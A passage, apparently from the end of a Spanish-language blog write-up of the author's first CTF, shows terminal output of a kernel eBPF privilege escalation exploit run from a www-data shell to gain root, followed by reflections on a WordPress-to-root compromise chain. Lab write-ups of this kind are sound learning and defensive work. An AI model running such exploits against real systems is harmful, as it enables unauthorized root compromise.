www-data@vtcsec:/tmp$ chmod +x exploit  
chmod +x exploit
www-data@vtcsec:/tmp$ ./exploit
./exploit
[.] 
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.] 
[.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.] 
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff8a20b8a82000
[*] Leaking sock struct from ffff8a20af6e6400
[*] Sock->sk_rcvtimeo at offset 592
[*] Cred structure at ffff8a202bb3d3c0
[*] UID from cred structure: 33, matches the current: 33
[*] hammering cred structure at ffff8a202bb3d3c0
[*] credentials patched, launching shell...
# whoami
whoami
root

En este caso, WordPress es la puerta de entrada. Lo que hemos hecho ha sido acceder a una Shell limitada y hacer un desplazamiento lateral para obtener privilegios de root. Esto demuestra cómo un CMS mal gestionado puede ser el inicio de una cadena completa de compromiso.

Reflexiones sobre el proceso de pentesting

Este laboratorio ha sido una práctica completa de pentesting realista sobre una máquina vulnerable. A lo largo del proceso he podido aplicar y documentar técnicas que forman parte del ciclo de un atacante o red teamer, desde el reconocimiento inicial hasta la escalada de privilegios a root.

Este ha sido el primer trabajo que realizo sobre pen-testing, mi primer CTF, y espero que no sea el último. He tratado de que sea lo más completo posible y que no explore una única vía de ataque, sino tener una visión más global de los vectores de entrada existentes y sus vulnerabilidades. Además, he tratado de documentarlo de la mejor manera posible.

Galería

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *